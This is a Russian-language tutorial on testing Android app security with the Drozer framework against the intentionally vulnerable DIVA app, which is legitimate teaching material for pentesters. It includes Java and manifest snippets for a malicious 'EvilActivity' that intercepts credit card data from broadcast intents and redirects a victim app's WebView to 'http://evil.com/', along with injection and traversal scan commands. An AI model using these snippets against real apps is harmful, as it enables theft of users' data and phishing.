Drozer — обязательный предмет в арсенале каждого пентестера. Это швейцарский армейский нож для выполнения стандартных задач по тестированию на проникновение. Drozer позволяет вам получать информацию о приложении, запускать его, подключаться к ContentProvider, отправлять сообщения службе, в общем — все для того, чтобы извлечь информацию из приложения или заставить его делать то, что нам нужно, через стандартные API и каналы связи.Все это безопасность приложений Android.
Сегодня Drozer считается устаревшим инструментом, но он по-прежнему отлично справляется с быстрым получением информации о приложении и его слабых местах. Рекомендуемый способ запуска drozer — использовать Docker:
$
$ adb install drozer-agent-2.3.4.apk
$ drozer console connect --server IP-адрес-телефона
Типичный воркфлоу Drozer выглядит так. Сначала получаем информацию об установленных приложениях:
dz> run app.package.list
Находим в списке подопытное приложение и получаем информацию о нем:
dz> run app.package.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Application Label: Diva
Process Name: jakhar.aseem.diva
Version: 1.0
Data Directory: /data/user/0/jakhar.aseem.diva
APK Path: /data/app/~~f-ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva-GXTPCSZPceqRHtEWH73f1g==/base.apk
UID: 10423
GID: [3003]
Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
Shared User ID: null
Uses Permissions:
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.INTERNET
- android.permission.ACCESS_MEDIA_LOCATION
Defines Permissions:
- None
Затем выясняем, какие компоненты можно попытаться использовать для эксплуатации:
dz> run app.package.attacksurface jakhar.aseem.diva
Attack Surface:
3 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable
Обращаем внимание, что в приложении включен флаг отладки. Далее получаем список активностей:
dz> run app.activity.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
jakhar.aseem.diva.MainActivity
Permission: null
jakhar.aseem.diva.APICredsActivity
Permission: null
jakhar.aseem.diva.APICreds2Activity
Permission: null
Пробуем их запустить:
dz> run app.activity.start --component jakhar.aseem.diva <имя_активности>
Цель этого действия — проверить, не выделены ли внутренние действия приложения, которые не должны быть доступны извне. Эти действия могут содержать конфиденциальную информацию.
Проверяем:
dz> run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICredsActivity
Действительно, активность APICredsActivity содержит некий ключ API, имя пользователя и пароль. Активность APICreds2Activity содержит окно с полем для ввода ПИН‑кода.
Две активности DIVA
Обе эти активности явно должны использоваться только внутри приложения, но по «невнимательности» разработчик забыл сделать их неэкспортируемыми (android:exported=»false»).
Начиная с Android 9 запуск активностей в фоне запрещен. Поэтому, чтобы Drozer работал корректно, следи за тем, чтобы он всегда был на экране, а экран смартфона — включен.
Еще интереснее, когда программист не только забывает сделать внутреннюю активность приложения неэкспортируемой, но и работает с ней не напрямую, а используя широковещательные интенты. Допустим, в приложении есть такой код, который использует широковещательный интент «com.example.ACTION», чтобы запустить активность (передав ей при этом конфиденциальные данные):
Intent
intent = new Intent("com.example.ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
startActivity(intent);
Проблема этого кода в том, что любой желающий может создать активность, реагирующую на интент «com.example.ACTION», и перехватить переданные ей данные. Например, мы можем написать приложение с такой активностью в манифесте:
<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.example.ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
В код этой активности добавим логирование перехваченных конфиденциальных данных:
Log.d("evil", "Number: " + getIntent().getStringExtra("credit_card_number"));
Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name"));
Вуаля! Но с помощью Drozer проделать такой трюк еще проще:
dz> run app.broadcast.sniff --action com.example.ACTION
В общем, интенты — это стандартный способ общения в Android как внутри, так и вне приложения. Их можно использовать для передачи информации между действиями, службами и любым другим компонентом приложения. Интенты могут быть адресованы конкретному компоненту или транслироваться. Любое другое приложение может перехватить последнее, как в примере выше.
На Android действия могут возвращать значения. Эта функция используется, например, в интерфейсе для выбора фотографии для отправки другу или в интерфейсе для выбора файла. Приложение может инициировать свое собственное действие или действие любого другого приложения (используя намерение передачи), чтобы получить от него некоторую ценность. И если приложение использует намерение трансляции, чтобы начать свою деятельность, возникнут проблемы.
Возьмем, к примеру, следующий код:
startActivityForResult(new Intent("com.example.PICK"), 1337);
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == 1337 && resultCode == 1) {
webView.loadUrl(data.getStringExtra("url"), getAuthHeaders());
}
}
Поэтому мы можем создать собственную активность и перенаправлять приложение на фишинговый веб‑сайт:<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.PICK" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setResult(1, new Intent().putExtra("url", "http://evil.com/"));
finish();
}
ContentProvider — это специальный компонент приложения, отвечающий за хранение данных и предоставление доступа к этим данным для других приложений. Раньше (до Android 4.0) разработчики открывали ContentProvider для любого приложения. Например, в официальном приложении Gmail был общедоступный ContentProvider, обеспечивающий доступ к списку адресов электронной почты. Это позволяло любому стороннему приложению получать список последних писем Gmail, считывая данные непосредственно из официального приложения.
Такой подход сейчас считается наивным и небезопасным. Поэтому сегодня приложение Gmail предоставляет только общее количество непрочитанных писем, и даже эта информация защищена специальным разрешением. Вы можете легко проверить это, попытавшись прочитать данные, используя URI content: //com.google.android.gmail.provider:
dz> run app.provider.query content://com.google.android.gmail.provider/
Permission Denial: opening provider com.android.email.provider.EmailProvider from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0a422} (pid=15638, uid=10422) requires com.google.android.gm.email.permission.ACCESS_PROVIDER or com.google.android.gm.email.permission.ACCESS_PROVIDER
Но в других приложениях все может быть иначе. Вернемся к приложению DIVA и попробуем получить информацию о его ContentProvider’ах:
dz> run app.provider.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Authority: jakhar.aseem.diva.provider.notesprovider
Read Permission: null
Write Permission: null
Content Provider: jakhar.aseem.diva.NotesProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
Видно, что приложение имеет один никак не защищенный ContentProvider. Получим информацию об экспортируемых ContentProvider’ом URI:
dz> run scanner.provider.finduris -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query content://jakhar.aseem.diva.provider.notesprovider
Unable to Query content://jakhar.aseem.diva.provider.notesprovider/
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes
Accessible content URIs:
content://jakhar.aseem.diva.provider.notesprovider/notes/
content://jakhar.aseem.diva.provider.notesprovider/notes
Попробуем прочитать информацию по приведенным URI:
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
|
|
|
|
|
|
|
ContentProvider, по сути, открывает прямой доступ к базе данных приложения. Поэтому, если он открыт для чтения и записи, мы легко можем добавить в него собственные данные:
dz> run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes
--integer _id 7
--string title xakep.ru
--string note 'Hi from ]['
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
…
|
В ряде случаев возможно выполнить SQL-инъекцию. Drozer способен автоматически проверить приложение на эту уязвимость:
dz> run scanner.provider.injection -a com.example.app
Некоторые приложения используют ContentProvider’ы, чтобы открывать доступ к файлам своего приватного каталога. В этом случае иногда возможно выполнить атаку directory traversal. Drozer позволяет проверить и этот вариант:
dz> run scanner.provider.traversal -a com.example.app
Другой тип прикладного компонента в Android — это сервисы. Большинство из них используются для фоновой работы, а в современных версиях Android у них должен быть значок в строке состояния (иначе система отключит службу в течение пяти минут). В приложении DIVA нет сервисов, это легко проверить с помощью этой команды:
dz> run app.service.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No exported services.
Но даже приложениями с торчащими снаружи сервисами работать не так просто. Обычно вам сначала нужно дизассемблировать / декомпилировать приложение, проанализировать служебный код, а затем попытаться отправить ему сообщение, которое оно поймет и обработает.
Например, типичный пример отправки сообщения сервису может выглядеть так:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Кратко пройдемся по другим возможностям Drozer.
Отображение манифеста приложения:
dz> run app.package.manifest com.mwr.example.sieve
Поиск приложений, обладающих указанными полномочиями:
dz> run app.package.list -p android.permission.INSTALL_PACKAGES
Поиск приложений с указанным UID:
dz> run app.package.list -u 1000
Поиск приложений, способных отображать файлы с указанным mimetype:
dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf
Поиск всех приложений, способных открывать ссылки:
dz> run scanner.activity.browsable
Отображение списка нативных библиотек приложения:
dz> run app.package.native jakhar.aseem.diva
Отправка широковещательных интентов:
dz> run app.broadcast.send --action com.exmpla.PICK --extra string url https://example.com
С какими еще проблемами и уязвимостями можно столкнуться в приложениях? Их много, авторы книги Security Code Smells in Android ICC составили подробный список таких проблем. Они взяли 700 приложений с открытым исходным кодом из репозитория F-Droid и проанализировали их с помощью специального инструмента AndroidLintSecurityChecks.
Все проблемы скомпонованы в двенадцать категорий:
Context.grantUriPermission()
. Если приложение вызывает его, но не вызывает Context.revokeUriPermission()
, чтобы отозвать доступ, — есть проблемы.myapp://
, вне зависимости от того, использует ли такую схему другое приложение. Как следствие, пересылать важные данные, используя кастомные URI-схемы, крайне небезопасно.Context.checkCallingPermission()
./a/b/c
. Программист может открыть доступ к своему ContentProvider’у, но отрезать доступ к некоторым путям (например, к /data/secret
). Но есть проблема: разработчики часто используют класс UriMatcher для сравнения путей, а он, в отличие от Android, сравнивает их без учета двойных слешей. Отсюда могут возникнуть ошибки при разрешении и запрете доступа./data
всем подряд, но использует специальное разрешение для доступа к /data/secret
, то в итоге доступ к /data/secret
смогут получить все.Общая распространенность ошибок
В документе также содержится много аналитических данных. Например, статистика показывает, что в новых приложениях меньше дыр, чем в старых. Также есть больше дыр в приложениях, над которыми работают более пяти человек. И конечно: чем больше кода, тем больше уязвимостей.
Примеры ошибок также можно найти в репозитории тестов уязвимостей Android-приложений. Он содержит исходные коды приложений с различными уязвимостями, каждое из которых имеет подробное описание уязвимости и исправленную версию.
Как видите, несмотря на свой почтенный возраст, Drozer по-прежнему выполняет свою работу лучше, чем многие другие инструменты. Его очевидным преимуществом является текстовый интерфейс, который позволяет использовать команды для выполнения многих задач, для которых вам придется написать собственное программное обеспечение. Оборотная сторона все та же — не всем удастся переварить этот интерфейс в 2020 году.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…